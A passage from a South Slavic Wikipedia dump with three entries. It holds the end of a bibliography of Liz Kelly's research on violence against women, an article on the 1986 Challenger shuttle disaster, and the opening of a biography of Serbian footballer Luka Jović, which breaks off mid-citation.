Development and Statistics Directorate|year=2005|isbn=9781844735556|location=London|id=293}} [http://webarchive.nationalarchives.gov.uk/20110218135832/rds.homeoffice.gov.uk/rds/pdfs05/hors293.pdf Pdf.] * {{Cite book|last=Kelly|first=Liz|title=Section 41 an evaluation of new legislation limiting sexual history evidence in rape trials|last2=Temkin|first2=Jennifer|last3=Griffiths|first3=Sue|publisher=Home Office Online Reports|year=2006|isbn=9781844739264|location=London|id=OLR 20/06}} [http://webarchive.nationalarchives.gov.uk/20130128103514/http://www.homeoffice.gov.uk/rds/abstracts/rdsolr2006.html Online.] [http://webarchive.nationalarchives.gov.uk/20130128103514/http://rds.homeoffice.gov.uk/rds/pdfs06/rdsolr2006.pdf Pdf.] * {{Cite book|last=Kelly|first=Liz|title=Evaluation of the pilot of domestic violence protection orders|publisher=Home Office, Crime research and analysis|others=Joanna R. Adler; Miranda A.H. Horvarth; Jo Lovett; Mark Coulson; David Kernohan; and Mark Gray|year=2013|isbn=9781782462620|location=London|id=76}} [https://www.gov.uk/government/publications/evaluation-of-the-pilot-of-domestic-violence-protection-orders Online.] [https://www.gov.uk/government/uploads/system/uploads/attachment_data/file/260897/horr76.pdf Pdf.] Evaluation of Domestic Violence Protection Orders (DVPOs) for the International Crime and Policing Conference 2015. ==== Ostali radovi ==== * {{Cite book|last=Kelly|first=Liz|title=Routes to (in)justice: a research review on the reporting, investigation and prosecution of rape cases|date=October 2001|publisher=[[Crown Prosecution Service#Inspection|HM Crown Prosecution Service Inspectorate (HMCPSI)]]|location=London|oclc=224119621}} A literature review ahead of report commissioned by HMCPSI and published the following year. [http://www.justiceinspectorates.gov.uk/cjji/wp-content/uploads/sites/2/2014/04/Rapelitrev.pdf Pdf.]{{Dead link|date=April 2025 |bot=InternetArchiveBot |fix-attempted=yes }} * {{Cite book|last=Kelly|first=Liz|title=A research review on the reporting, investigation and prosecution of rape cases|publisher=[[Crown Prosecution Service#Inspection|HM Crown Prosecution Service Inspectorate (HMCPSI)]]|year=2002|location=London|oclc=50329254}} Commissioned by HMCPSI to inform their thematic review into the investigation and prosecution of cases involving allegations of rape. * {{Cite book|last=Kelly|first=Liz|title=Journeys of jeopardy: a review of research on trafficking in women and children in Europe|publisher=International Organization for Migration|year=2002|series=IOM migration research series|location=Vienna, Austria|oclc=51758037|id=no. 11}} [http://www.ieei.com.pt/traficodepessoas/images/documentos/womenandchildren.pdf Pdf.] {{Webarchive|url=https://web.archive.org/web/20151002000418/http://www.ieei.com.pt/traficodepessoas/images/documentos/womenandchildren.pdf |date=2015-10-02 }} * {{Cite book|last=Kelly|first=Liz|title=Violence against women and children: Vision, Innovation and Professionalism in policing (VIP Guide)|url=https://archive.org/details/violenceagainstw0000lizk|publisher=Council of Europe Publishing (Editions du Conseil de l'Europe)|year=2003|isbn=9789287151216|location=Strasbourg}} * {{Cite book|last=Kelly|first=Liz|title=CEDAW thematic shadow report: violence against women in the UK: 2003|last2=Sen|first2=Purna|last3=Humphreys|first3=Catherine|publisher=Women’s National Commission, Amnesty International and Indigo Trust|year=2004|location=London|oclc=779148189}} [http://eige.europa.eu/gender-based-violence/resources/united-kingdom/cedaw-thematic-shadow-report-2003-violence-against-women-uk Online.] * {{Cite book|last=Kelly|first=Liz|url=http://www.endviolenceagainstwomen.org.uk/resources/18/what-a-waste-january-2005|title=What a waste: the case for an integrated violence against women strategy|last2=Lovett|first2=Jo|date=February 2005|publisher=[[Department of Trade and Industry (United Kingdom)|Department of Trade and Industry]]|location=London|oclc=59352200|access-date=2015-09-30|archive-url=https://web.archive.org/web/20151001222706/http://www.endviolenceagainstwomen.org.uk/resources/18/what-a-waste-january-2005|archive-date=2015-10-01|url-status=dead}} {{Webarchive|url=https://web.archive.org/web/20151001222706/http://www.endviolenceagainstwomen.org.uk/resources/18/what-a-waste-january-2005 |date=2015-10-01 }} [https://web.archive.org/web/20160304193511/http://www.endviolenceagainstwomen.org.uk/data/files/resources/18/what-a-waste-2004.pdf Pdf.] * {{Cite book|last=Kelly|first=Liz|title=Fertile fields: trafficking in persons in Central Asia: a report|url=https://archive.org/details/fertilefieldstra0000kell|publisher=International Organization for Migration|year=2005|isbn=9789290682431|location=Vienna, Austria}} [http://publications.iom.int/bookstore/free/Fertile_Fields.pdf Pdf.] {{Webarchive|url=https://web.archive.org/web/20151001164429/http://publications.iom.int/bookstore/free/Fertile_Fields.pdf |date=2015-10-01 }} * {{Cite book|last=Kelly|first=Liz|url=http://www.endviolenceagainstwomen.org.uk/resources/33/map-of-gaps-november-2007|title=Map of gaps: the postcode lottery of violence against women support services|last2=Coy|first2=Maddy|last3=Foord|first3=Jo|publisher=[[End Violence Against Women Coalition|End Violence Against Women]]|year=2007|location=London|author-link2=Maddy Coy|access-date=2015-09-30|archive-url=https://web.archive.org/web/20151002030527/http://www.endviolenceagainstwomen.org.uk/resources/33/map-of-gaps-november-2007|archive-date=2015-10-02|url-status=dead}} {{Webarchive|url=https://web.archive.org/web/20151002030527/http://www.endviolenceagainstwomen.org.uk/resources/33/map-of-gaps-november-2007 |date=2015-10-02 }} {{ISBN|9780954480363}} [https://web.archive.org/web/20151002044432/http://www.endviolenceagainstwomen.org.uk/data/files/resources/33/map_of_gapsNov07.pdf Pdf.] * {{Cite book|last=Kelly|first=Liz|url=http://www.endviolenceagainstwomen.org.uk/resources/38/realising-rights-fulfilling-obligations-july-2008|title=Realising rights, fulfilling obligations: a template for an integrated strategy on violence against women for the UK|last2=Coy|first2=Maddy|last3=Lovett|first3=Jo|publisher=[[End Violence Against Women Coalition|End Violence Against Women]]|year=2008|location=London|author-link2=Maddy Coy|access-date=2015-10-06|archive-url=https://web.archive.org/web/20160304191941/http://www.endviolenceagainstwomen.org.uk/resources/38/realising-rights-fulfilling-obligations-july-2008|archive-date=2016-03-04|url-status=dead}} {{Webarchive|url=https://web.archive.org/web/20160304191941/http://www.endviolenceagainstwomen.org.uk/resources/38/realising-rights-fulfilling-obligations-july-2008 |date=2016-03-04 }} {{ISBN|9780955860928}} [https://web.archive.org/web/20140530052543/http://www.endviolenceagainstwomen.org.uk/data/files/resources/38/realising_rights-jul-08.pdf Pdf.] * {{Cite book|last=Kelly|first=Liz|title=Connections and disconnections: assessing evidence, knowledge and practice in responses to rape|last2=Westmarland|first2=Nicole|last3=Brown|first3=Jennifer|last4=Horvath|first4=Miranda|date=April 2010|publisher=[[Government Equalities Office]]|location=London|oclc=785808273|author-link2=Nicole Westmarland}} [https://www.dur.ac.uk/resources/sass/BrownHorvathKellyandWestmarland2010Connectionsanddisconnectionsassessingevidenceknowledgeandpracticeinresponsestorape.pdf Pdf.] * {{Cite book|last=Kelly|first=Liz|title=Has anything changed? Results of a comparative study (1977-2010) on opinions on rape|last2=Westmarland|first2=Nicole|last3=Brown|first3=Jennifer|last4=Horvath|first4=Miranda|date=April 2010|publisher=[[Government Equalities Office]]|location=London|oclc=912957804|author-link2=Nicole Westmarland}} [https://www.dur.ac.uk/resources/sass/BrownHorvathKellyandWestmarland2010bHasanythingchanged.pdf Pdf.] == Izvori == <references /> == Vanjske veze == * [https://archive.today/20140319143647/https://metranet.londonmet.ac.uk/research-units/hrsj/staff-and-associates/liz-kelly.cfm Liz Kelly], Sveučilište London Metropolitan {{Authority control}} {{Životni vijek|1951||Kelly, Liz}} [[Kategorija:Britanski aktivisti]] [[Kategorija:Borci za ljudska prava]] 9fz4sy4v3okm48u5pifk3ana3r5h0aj 0 4670768 42602707 42493584 2026-05-28T10:00:59Z CommonsDelinker 806 Zamjenjujem datoteku President_Ronald_Reagan_and_Nancy_Reagan_and_families_of_the_"Challenger"_victims_at_the_memorial_service_for_the_space_shuttle_crew_in_Houston_Texas.jpg datotekom [[:File:President_Ronald_Reagan_and_Nancy_Reagan_and_Families_of_The_" 42602707 wikitext text/x-wiki {{izvor}} {{Infokutija događaj en | title = Katastrofa<br>Spejs-šatla<br>„Challenger” | native_name = Space Shuttle ''Challenger''<br>disaster | native_name_lang = en | image = Challenger explosion.jpg | image_upright = 1.2 | alt = Dim i debris nakon eksplozije šatla Challenger | caption = <center>Šatl kratko nakon eksplozije</center> | date = {{start date and age|1986|1|28}} | time = 11:39:13 [[:en:Eastern Time Zone|EST]] (16:39:13 [[:en:Coordinated Universal Time|UTC]]) | place = {{ubl|[[Atlantski okean]],<br>kod obale [[Florida|Floride]]| <small><small>{{Coord|28|38|24|N|80|16|48|W|region:US-FL_type:landmark_scale:1500000|display=title,inline}}</small></small>}} | cause = pucanje [[O-prsten]]a<br>u desnom [[:en:Space Shuttle Solid Rocket Booster|SRB-u]] | reported deaths = {{plainlist|1= *{{nowrap|[[Dick Scobee|Frensis Skobi]]}},<br><small>komandir</small> *{{nowrap|[[Michael J. Smith (astronaut)|Majkl Smit]]}},<br><small>pilot</small> *{{nowrap|[[Ronald McNair|Ronald Mekner]]}},<br><small>specijalist misije</small> *{{nowrap|[[Ellison Onizuka|Elison Onizuka]]}},<br><small>specijalist misije</small> *{{nowrap|[[Judith Resnik|Džudit Resnik]]}},<br><small>specijalistica misije</small> *{{nowrap|[[Gregory Jarvis|Gregori Džarvis]]}},<br><small>specijalist ’payload’-a</small> *{{nowrap|[[Christa McAuliffe|Krista Mekolif]]}},<br><small>specijalistica ’payload’-a<br>i predavačica</small> }} |inquiries = [[Rogers Commission Report|Komisija Rodžers]] |outcome = nerad na misiji gotovo tri<br>godine, period tokom kojeg<br>su implementirane razne<br>sigurnosne mjere (kao što je<br>redizajn SRB-a ili nova<br>politika za menadžment<br>donošenja odluka za<br>naredna lansiranja) }} '''Katastrofa Spejs-šatla „Challenger”''' ([[engleski jezik|engl.]] ’Space Shuttle ''Challenger'' disaster’) bila je fatalna nesreća u SAD-u. [[Svemirski program]] je bio nazvan Challenger (izgovor: čelendžer; doslovni prijevod: izazivač). Nesreća se desila 28. januara 1986. godine, kada je [[spejs-šatl]] poznat kao ’OV-099’ eksplodirao u letu, pri čemu je stradalo svih sedam članova posade. Ovo je bila prva fatalna nesreća američke misije sa već lansiranim šatlom. Oznaka misije je bila ’STS-51-L’ i predstavljala je deseti let orbitera 'Challenger' i dvadeset peti let sa posadom spejs-šatla. Posada se bavila komunikacijskim satelitom i proučavala je [[Halleyjeva kometa|Helijev komet]] (bili su u orbiti). Letjelica se raspala (dezintegrisala) nad [[Atlantski okean|Atlantikom]], kod obale Kanjaveral (Florida), u 11 sati i 39 minuta EST odnosno 16 sati i 39 minuta UTC.<ref>{{Cite web|author=History.com editors|title=Challenger Explosion|url=https://www.history.com/topics/1980s/challenger-disaster}}</ref> Nesreću je izazvala greška na dva O-prstena (spojeni zaptivači) viška, na desnoj strani šatlovog ’solidnog raketnog bustera’ (akronim: SRB). Najniže temperature pri lansiranju smanjile su elastičnost [[guma|gumenih]] O-prstena, smanjujući mogućnost zaptivanja spojeva. Prsteni s greškom izazvali su otptivanje kratko nakon odvajanja/polijetanja, što je omogućilo curenje [[plin|gasu]] pod pritiskom iz unutrašnjosti SRB-a i gorenje zida susjednog ’eksternalnog gorivnog tanka’ (vanjski spremnik ili posuda za [[gorivo]]). Ovo je dovelo do separacije ili odvajanja desnostranog SRB-ovog ’aft-atačmenta’ i [[strukturalni integritet i neuspjeh|strukturalni neuspjeh]] eksternalnog tanka. Poslijedi eksplozije, orbiter, koji je uključivao kompartman s posadom, raspao se djelovanjem (dejstvom) [[aerodinamička sila otpora|aerodinamičkih sila otpora]]; kompartman s posadom i mnogi drugi fragmenti letjelice spašeni su s okeanskog dna nakon tromjesečne potrage (search-and-recovery operation, operacija traženja i obnavljanja). Tačan tajming smrti posade je nepoznat; nekoliko članova posade, poznato je, preživjelo je inicijalni raspad svemirske letjelice. Po dizajnu, orbiter nije imao sistem za bjekstvo, a udar kompartmana s posadom pri [[terminalna brzina (vektor)|terminalnoj brzini]] na površinu okeanskog dna bio je prejak za preživjeti. Nesreća je rezultovala tridesetdvomjesečnim prekidom u programu. Tadašnji predsjednik SAD-a [[Ronald Reagan|Ronald Regan]] učestvovao je u osnivanju Komisije Rodžers za istraživanje nesreće. Komisija je kritikovala [[NASA|NASA-inu]] organizacionu kulturu i procese donošenja odluka koji su doveli do nesreće. Testni podaci od najranije 1977. godine otkrili su potencijalno katastrofalnu grešku kod O-prstenova SRB-a. Pravi problem u NASA-i nisu mogli da otkriju. Menadžeri NASA-e takođe su odbacili upozorenja od inžinjera o opasnostima lansiranja na niskim temperaturama i nisu izvijestili o ovim tehničkim propustima svojim nadređenima. Kao rezultat nesreće, NASA je osnovala Ured za bezbjednost, pouzdanost i osiguravanje kvaliteta (engl. Office of Safety, Reliability and Quality Assurance); cilj je bio ukazivanje na potrebu za boljom bezbjednosnom organizacijom. Komercijalni sateliti bili bi lansirani na ELV-ovima, umjesto sa orbiterom s posadom. Radi zamjenjivanja 'Challenger'-a, pravljenje novog, ’OV-105’, odobreno je 1987. godine i novi orbiter prvi put je poletio 1992. godine. Kasnije, misije šatla lansirane su s redizajniranim SRB-ovima i posada je nosila odjela pod pritiskom tokom boravka van [[Zemljina atmosfera|atmosfere]]. == Reference == {{reflist}} == Galerija slika == <gallery widths="200px"> RogersCommission-v1p57_cropped.jpg|Dijagram poprečnog presjeka Challenger_flight_51-l_crew.jpg|Posada ’STS-51-L’-a: (gornji red) Onizuka, Mekolif, Džarvis, Resnik; (donji red) Smit, Skobi, Mekner Icicles_on_the_Launch_Tower_-_GPN-2000-001348.jpg|Led na lansirnom tornju pred lansiranje Launch of Challenger.jpg|Istorijska slika lansiranja STS-51-L_grey_smoke_on_SRB.jpg|Sivi dim izlazi s desne strane SRB-a Booster_Rocket_Breach_-_GPN-2000-001425.jpg|Desni SRB 58,788 sekundi po polijetanju STS-51L_riadiace_stredisko.jpg|Džej Grin za konzolom nakon raspada „Čelendžera” Challenger_breakup_cabin.jpg|Prednja sekcija trupa nakon raspada (v. strelicu) STS-51-L_Recovered_Debris_(Burn_Marks_on_the_SRM)_-_GPN-2004-00004.jpg|Tragovi gorenja na SRM-u, pronađeni debris STS-51-L Recovered Debris (Left Solid Rocket Booster) - GPN-2004-00009.jpg|Lijevi SRB, pronađeni debris STS-51-L Recovered Debris (Orbiter) - GPN-2004-00002.jpg|Orbiter, pronađeni debris President Ronald Reagan and Nancy Reagan and Families of The "Challenger" Victims at The Memorial Service for The Space Shuttle Crew in Houston Texas - DPLA - e1dee6a31bf4ed9af446235deb26780c.jpg|Predsjednik SAD-a Regan i prva dama Nensi Regan (lijevo) na zadušnici 31. januara 1986. godine Rogers_Commission_members_arrive_at_Kennedy_Space_Center.jpg|Članovi Komisije Rodžers stižu u Svemirski centar „Kenedi” ChallengerFuselageDisplay.jpg|Fragment trupa „Čelendžera” izložen u Svemirskom centru „Kenedi” President Reagan's Remarks at the Memorial of the Space Shuttle Challenger Crew on January 31, 1986.webm|Opaske Regana kao omaž posadi spejs-šatla „Čelendžer”, 31. januara 1986. godine </gallery> {{Space Shuttle}} {{Normativna kontrola}} [[Kategorija:Nesreće]] [[Kategorija:1986.]] [[Kategorija:Historija SAD (1980–1991)]] [[Kategorija:Program Space Shuttle]] mw7dc5372bobp9xsd3dzy3i9qi7uxdg 0 4690374 42602702 42590617 2026-05-28T08:53:52Z InternetArchiveBot 155863 Rescuing 5 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602702 wikitext text/x-wiki {{Infokutija nogometaš | imenogometaša = Luka Jović<br>{{small|Лука Јовић}} | slika = FWC 2018 - Group E - SRB v BRA - Photo 113 (cropped).jpg | punoime = | nadimak = | datumrođenja = [[23. decembra]] [[1997.]] | rodnigrad = {{flagicon|SRB}} [[Loznica]] | rodnadržava = [[Srbija]]<br>{{small|(tada {{flag|SR Jugoslavija}})}} | datumsmrti = | gradsmrti = | državasmrti = | nacionalnost = | državljanstvo = {{flagicon|SCG}} [[Savezna Republika Jugoslavija|jugoslavensko]] {{small|(1997–2006)}}<br />{{flagicon|SRB}} [[Srbija|srpsko]] | visina = 1.81 m | pozicija = napadač | trenutniklub = {{flagicon|GRČ}} [[A.E.K. (fudbalski klub)|A.E.K.]] | brojnadresu = 9 | datumimjestodebija = | omladinskegodine = | omladinskipogoni = | godine1 = 2014 – 2016 | klubovi1 = {{flagicon|SRB}} [[FK Crvena zvezda|Crvena zvezda]] | nastupi(golovi)1 = 42 (12) | godine2 = 2016 – 2019 | klubovi2 = {{flagicon|POR}} [[SL Benfica|Benfica]] | nastupi(golovi)2 = 2 (0) | godine3 = 2017 – 2019 | klubovi3 = {{nowrap|→ {{flagicon|NJE}} [[Eintracht Frankfurt]]}} | nastupi(golovi)3 = 54 (25) | godine4 = 2019 – 2022 | klubovi4 = {{flagicon|ŠPA}} [[Real Madrid]] | nastupi(golovi)4 = 36 (3) | godine5 = 2021 | klubovi5 = {{nowrap|→ {{flagicon|NJE}} [[Eintracht Frankfurt]]}} | nastupi(golovi)5 = 18 (4) | godine6 = 2022 – 2023 | klubovi6 = {{flagicon|ITA}} [[ACF Fiorentina|Fiorentina]] | nastupi(golovi)6 = 31 (6) | godine7 = 2023 – 2025 | klubovi7 = {{flagicon|ITA}} [[AC Milan|Milan]] | nastupi(golovi)7 = 38 (8) | godine8 = 2025 – | klubovi8 = {{flagicon|GRČ}} [[A.E.K. (fudbalski klub)|A.E.K.]] | nastupi(golovi)8 = 0 (0) | godine9 = | klubovi9 = | nastupi(golovi)9 = | godine10 = | klubovi10 = | nastupi(golovi)10 = | godine11 = | klubovi11 = | nastupi(golovi)11 = | godine12 = | klubovi12 = | nastupi(golovi)12 = | godine13 = | klubovi13 = | nastupi(golovi)13 = | godine14 = | klubovi14 = | nastupi(golovi)14 = | godine15 = | klubovi15 = | nastupi(golovi)15 = | reprezentacija = | nacionalnegodine1 = 2018 – | nacionalneekipe1 = {{NogRep|SRB}} | nacionalninastupi(golovi)1 = 45 (11) | nacionalnegodine2 = | nacionalneekipe2 = | nacionalninastupi(golovi)2 = | nacionalnegodine3 = | nacionalneekipe3 = | nacionalninastupi(golovi)3 = | nacionalnegodine4 = | nacionalneekipe4 = | nacionalninastupi(golovi)4 = | trenergodine = | trenerklubovi = | zadnjiuređaj = 5.8.2025 }} '''Luka Jović''' ([[ćirilica]]: Лука Јовић; [[Loznica]], [[23. decembar]] [[1997]]), [[Srbija|srpski]] fudbaler koji nastupa za [[Fudbalska reprezentacija Srbije|reprezentaciju Srbije]]. Visok je 182 [[Centimetar|centimetra]] i igra na poziciji najisturenijeg [[Napadač (fudbal)|napadača]]. Svoju profesionalnu karijeru započeo je u dresu [[beograd]]ske [[FK Crvena zvezda|Crvene zvezde]], za čiji prvi tim je debitovao u maju 2014. godine, kod tadašnjeg klupskog stratega, [[Slaviša Stojanović|Slaviše Stojanovića]], na zatvaranju takmičarske [[Superliga Srbije u fudbalu 2013/14.|2013/14]]. u [[Superliga Srbije u fudbalu|Superligi Srbije]]. Neposredno po ulasku u igru, Jović je postigao svoj prvi pogodak u profesionalnom takmičenju. Kroz mlađe kategorije tog kluba, Jović je prethodno stasavao od 2005, te je duži niz godina bio jedan od najproduktivnijih napadača u klupskoj školi. Odmah zatim, Jović je pred početak takmičarske [[Superliga Srbije u fudbalu 2014/15.|2014/15]]. zadužio dres sa brojem 9 u ekonomatu seniorskog sastava, a trener [[Nenad Lalatović]] ukazao mu je šansu na 22 utakmice u Superligi Srbije, od čega je polovinu susreta započeo na terenu. Tokom te sezone, Jović je bio strelac 6 pogodaka. Dolaskom [[Miodrag Božović|Miodraga Božovića]] na mesto šefa stručnog štaba, Jović je tokom prvog dela takmičarske [[Superliga Srbije u fudbalu 2015/16.|2015/16]]. odigrao ukupno 21 utakmicu u svim takmičenjima, od čega je na trećini susreta bio starter, a postigao je ukupno 6 pogodaka, koliko i prethodne sezone. Iz Crvene zvezde je početkom 2016. prešao u [[FK Benfika|Benfiku]], a Zvezda je na ime obeštećenja dobila oko dva miliona evra, s tim što je najveći deo tih sredstava prihodovala ranije, prodajom 70 procenata Jovićevog ugovora investicionom fondu menadžera Pinija Zahavija. Za preostalih 30 odsto, od Benfike je dobijeno 600 hiljada evra. Jović je u narednom periodu najčešće nastupao za razvojni tim tog portugalskog kluba, pa je leta 2017. otišao na dvogodišnju pozajmicu [[FK Ajntraht Frankfurt|Ajntrahtu]] iz [[Frankfurt na Majni|Frankfurta]]. U [[Nemačka|Nemačkoj]] je proveo sledeće dve godine, gde se istakao učinkom u sezoni 2018/19, kada je u svim takmičenjima za Ajntraht postigao 27 golova na 48 utakmica. Ajntraht je u aprilu 2019. iskoristio otkupnu klauzulu i potpisao višegodišnji ugovor sa Jovićem. U junu iste godine, Jović je zvanično predstavljen kao pojačanje [[FK Real Madrid|Reala]] iz [[Madrid]]a. Prema nezvaničnim objavama, vrednost obeštećenja koje je Real isplatio iznosila je 60 miliona evra, uz mogućnost doplate dodatnih sredstava na ime bonusa. Paralelno sa igrama na klupskom nivou, Jović je prošao sve mlađe reprezentativne selekcije Srbije. Za [[Fudbalska reprezentacija Srbije|seniorski sastav]] debitovao je 2018. godine, a iste godine učestvovao je na [[Svetsko prvenstvo u fudbalu 2018.|Svetskom prvenstvu]] u [[Rusija|Rusiji]]. == Klupska karijera == === Crvena zvezda === ==== Mlađe kategorije i profesionalni počeci ==== Luka Jović je rođen u [[Loznica|Loznici]], [[23. decembar|23. decembra]] [[1997]], a odrastao je u selu [[Batar (Bijeljina)|Batru]] kraj [[Bijeljina|Bijeljine]].{{efn|Iako se u većem broju izvora [[Bijeljina]] navodi kao mesto rođenja,<ref name="czvbg" /><ref name="TM"/><ref name="BD"/> Jović je u [[intervju]]u za list ''[[Blic]]'', u martu 2019, rekao da je rođen u [[Loznica|Loznici]], koja je njegovom selu bliža od pripadajućeg grada u [[Republika Srpska|Republici Srpskoj]].<ref>{{Cite news|url=https://sport.blic.rs/fudbal/evropski-hit-luka-jovic-za-blicsport-roditelji-su-dali-i-poslednji-dinar-da-bih-uspeo/l983nsx|title=EVROPSKI HIT Luka Jović za Blicsport: Roditelji su dali i poslednji dinar da bih uspeo|date=10. 3. 2019|accessdate=4. 12. 2019|publisher=[[Blic (novine)|Blic]]}}</ref>|name=rul}} Prve fudbalske korake načinio je na stadionu Omladinca u rodnoj Loznici.<ref>{{Cite web|url=https://www.theplayerstribune.com/articles/luka-jovic-real-madrid|title=Hola, Madrid|trans-title=Zdravo, Madrid|date=16. 7. 2019|accessdate=12. 12. 2019|last=Jović|first=Luka|website=theplayerstribune.com|language=en}}</ref> Njega je, kao osmogodišnjaka koji je učestvovao u ''Mini maksi ligi'', primetio [[Tomislav Milićević]], skaut [[beograd]]ske [[FK Crvena zvezda|Crvene zvezde]], te je Jović nedugo zatim dobio poziv na selektivnu utakmicu za nove članove tog kluba. Prema rečima Lukinog oca, Milana Jovića, Milićević je tokom tog događaja, održanog [[10. maja]] 2005. godine, insistirao da igrač pristupi beogradskom klubu i da redovno dolazi na utakmice mlađih selekcija. U Beogradu je najpre igrao kao član škole fudbala „Konjarnik“.<ref name="KaoPančev">{{Cite news|url=http://www.novosti.rs/%D0%B2%D0%B5%D1%81%D1%82%D0%B8/%D1%81%D0%BF%D0%BE%D1%80%D1%82.434.html:459005-Zvezdin-biser-Jovic-Hocu-kao-Pancev|title=Zvezdin biser Jović: Hoću kao Pančev|date=16. 10. 2013|accessdate=1. 12. 2019|last=Cvetojević|first=B.|publisher=[[Večernje novosti]]}}</ref> Otac je Luku narednih šest godina dovozio na utakmice iz Batra, a noći pred utakmice neretko su prespavali u automobilu marke „[[Folksvagen Pasat]]“. Luka je kasnije prošao sve mlađe kategorije Crvene zvezde, ali je u međuvremenu odigrao jednu utakmicu za sastav večitog rivala, usled kratkotrajnih nesuglasica klupskog rukovodstva i Milana Jovića. Kao maloletan fudbaler, Jović je imao potpisan ugovor sa menadžerskom agencijom ''-{Lian Sports}-'', koja se starala o razvoju njegove karijere.<ref name="Malac">{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/cudesan-slucaj-luke-jovica-ili-kako-je-klinac-koji-je-spavao-u-gepeku-stigao-do-velike-pozornice/193095|title=Čudesan slučaj Luke Jovića, ili - Kako je klinac koji je spavao u gepeku stigao do velike pozornice|date=27. 12. 2013|accessdate=29. 11. 2019|website=mozzartsport.com}}</ref> [[Datoteka:Slavisa Stojanovic.jpg|mini|180p|desno|Jović je priliku da debituje u dresu Crvene zvezde dobio kod trenera [[Slaviša Stojanović|Slaviše Stojanovića]], 2014.]] Posle pionirske i kadetske selekcije, za koju je nastupao do 2013. godine, Jović je priključen i omladinskoj ekipi Crvene zvezde.<ref>{{Cite news|url=http://www.mojacrvenazvezda.net/30490/2012/04/23/osmica-pionira-kao-uvertira-za-derbi/?sr_pismo=cir|title=„Osmica“ pionira kao uvertira za derbi|date=23. 4. 2012|accessdate=1. 12. 2019|author=Vladimir|publisher=mojacrvenazvezda.net|archive-date=2024-12-08|archive-url=https://web.archive.org/web/20241208214017/http://www.mojacrvenazvezda.net/30490/2012/04/23/osmica-pionira-kao-uvertira-za-derbi/?sr_pismo=cir|url-status=dead}}</ref><ref>{{Cite news|url=http://www.mojacrvenazvezda.net/11774/2011/09/08/zvezdina-deca-za-primer-prvotimcima/?sr_pismo=cir|title=Zvezdina deca za primer omladincima|date=8. 9. 2011|accessdate=1. 12. 2019|author=Stefana|publisher=mojacrvenazvezda.net|archive-date=2024-12-08|archive-url=https://web.archive.org/web/20241208214515/http://www.mojacrvenazvezda.net/11774/2011/09/08/zvezdina-deca-za-primer-prvotimcima/?sr_pismo=cir|url-status=dead}}</ref><ref>{{Cite news|url=http://www.mojacrvenazvezda.net/49236/2012/11/26/uspesan-vikend-mladjih-kategorija-fk-crvena-zvezda/?sr_pismo=cir|title=Uspešan vikend mlađih kategorija FK Crvena zvezda|date=26. 11. 2012|accessdate=1. 12. 2019|author=Vladimir|publisher=mojacrvenazvezda.net|archive-date=2024-12-08|archive-url=https://web.archive.org/web/20241208214917/http://www.mojacrvenazvezda.net/49236/2012/11/26/uspesan-vikend-mladjih-kategorija-fk-crvena-zvezda/?sr_pismo=cir|url-status=dead}}</ref> Tadašnji šef stručnog štaba prvog tima, [[Rikardo Sa Pinto]], Jovića je kao petnaestogodišnjaka pozvao na trening ekipe sastavljene od igrača sa manjom minutažom i članova mlađih klupskih selekcija.<ref name="Makazice">{{Cite news|url=https://mondo.rs/Sport/Fudbal/a576768/Makazice-za-aplauz-bezobrazluk-za-osudu.html|title="Makazice" za aplauz, bezobrazluk za osudu|date=23. 5. 2013|accessdate=1. 12. 2019|last=J|first=N.|publisher=mondo.rs}}</ref> Nedugo zatim, Joviću je ponuđen profesionalni ugovor koji je iste godine potpisao sa klubom.<ref name="Profi">{{Cite web|url=https://www.telegraf.rs/sport/724146-profesionalni-ugovori-za-cetvoricu-zvezdinih-klinaca-video|title=Profesionalni ugovori za četvoricu Zvezdinih klinaca! (VIDEO)|date=28. 5. 2013|accessdate=1. 12. 2019|website=[[Telegraf.rs|Telegraf]]}}</ref> On je tokom jeseni iste godine nastupao sa godinu dana starijom generacijom, a posebno se istakao u pobedi od 9 : 1 nad [[Kraljevo|kraljevačkom]] [[FK Sloga Kraljevo|Slogom]], kada je tri puta savladao čuvara mreže tadašnjeg rivala, Vladana Grbovića.<ref>{{Cite web|url=http://www.rtvgalaksija.rs/2013/08/06/omladinci-sloge-trijumfovali-na-turniru-na-avladzinici/|title=Omladinci „Sloge“ trijumfovali na turniru na Avladžinici|date=6. 8. 2013|accessdate=1. 12. 2019|website=[[TV Galaksija 32]]}}</ref><ref>{{Cite web|url=https://mozzartsport.com/fudbal/vesti/zvezdinoj-deci-ne-smeta-kriza-omladinci-kadeti-i-pioniri-dominiraju-srpskim-terenima/197574|title=Zvezdinoj deci ne smeta kriza? Omladinci, kadeti i pioniri dominiraju srpskim terenima|date=20. 10. 2013|accessdate=1. 12. 2019|website=mozzartsport.com}}</ref><ref>{{Cite web|url=https://www.fkvojvodina.rs/omladinske-lige-vosin-bericetan-vikend/?script=cir|title=Omladinske lige : Vošin berićetan vikend|date=27. 10. 2013|accessdate=1. 12. 2019|website=FK Vojvodina, zvanična prezentacija|archive-date=2022-07-11|archive-url=https://web.archive.org/web/20220711184641/https://www.fkvojvodina.rs/omladinske-lige-vosin-bericetan-vikend/?script=cir}}</ref><ref>{{Cite web|url=http://www.plusonline.rs/podmladak-radnicki-sloga-3-0/|title=Podmladak: Radnički – Sloga 3:0 (3:0)|date=2. 11. 2013|accessdate=1. 12. 2019|website=plusonline.rs}}</ref><ref>{{Cite web|url=https://www.srbijasport.net/n/11841/novi-poraz-omladinaca-kraljevacke-sloge/f|title=Novi poraz omladinaca kraljevačke Sloge|date=20. 11. 2013|accessdate=1. 12. 2019|last=Daišević|first=Aleksandar|website=srbijasport.net}}</ref> Nakon svog šesnaestog rođendana i sticanja uslova da se zvanično priključi prvoj ekipi, Jović je početkom naredne kalendarske godine izostao sa prve prozivke seniorskog sastava, kod trenera [[Slaviša Stojanović|Slaviše Stojanovića]]. Sportski sektor i predstavnici uprave takav potez kluba obrazložili su rečima da je za Jovića rano i da u timu ima dovoljno napadača.<ref name="BezPripreme">{{Cite web|url=https://mozzartsport.com/fudbal/vesti/u-zvezdi-kazu-da-je-danas-rano-za-luku-jovica-mozda-ce-u-junu-biti-kasno-anketa/147971|title=U Zvezdi kažu da je danas rano za Luku Jovića, možda će u junu biti kasno? (ANKETA)|date=10. 1. 2014|accessdate=1. 12. 2019|website=mozzartsport.com}}</ref><ref>{{Cite web|url=https://www.telegraf.rs/sport/916615-zvezda-pocela-pripreme-stojanovic-prozvao-34-igraca-nema-rakica|title=Zvezda počela pripreme: Stojanović prozvao 34 igrača, nema Rakića! (FOTO)|date=10. 1. 2014|accessdate=1. 12. 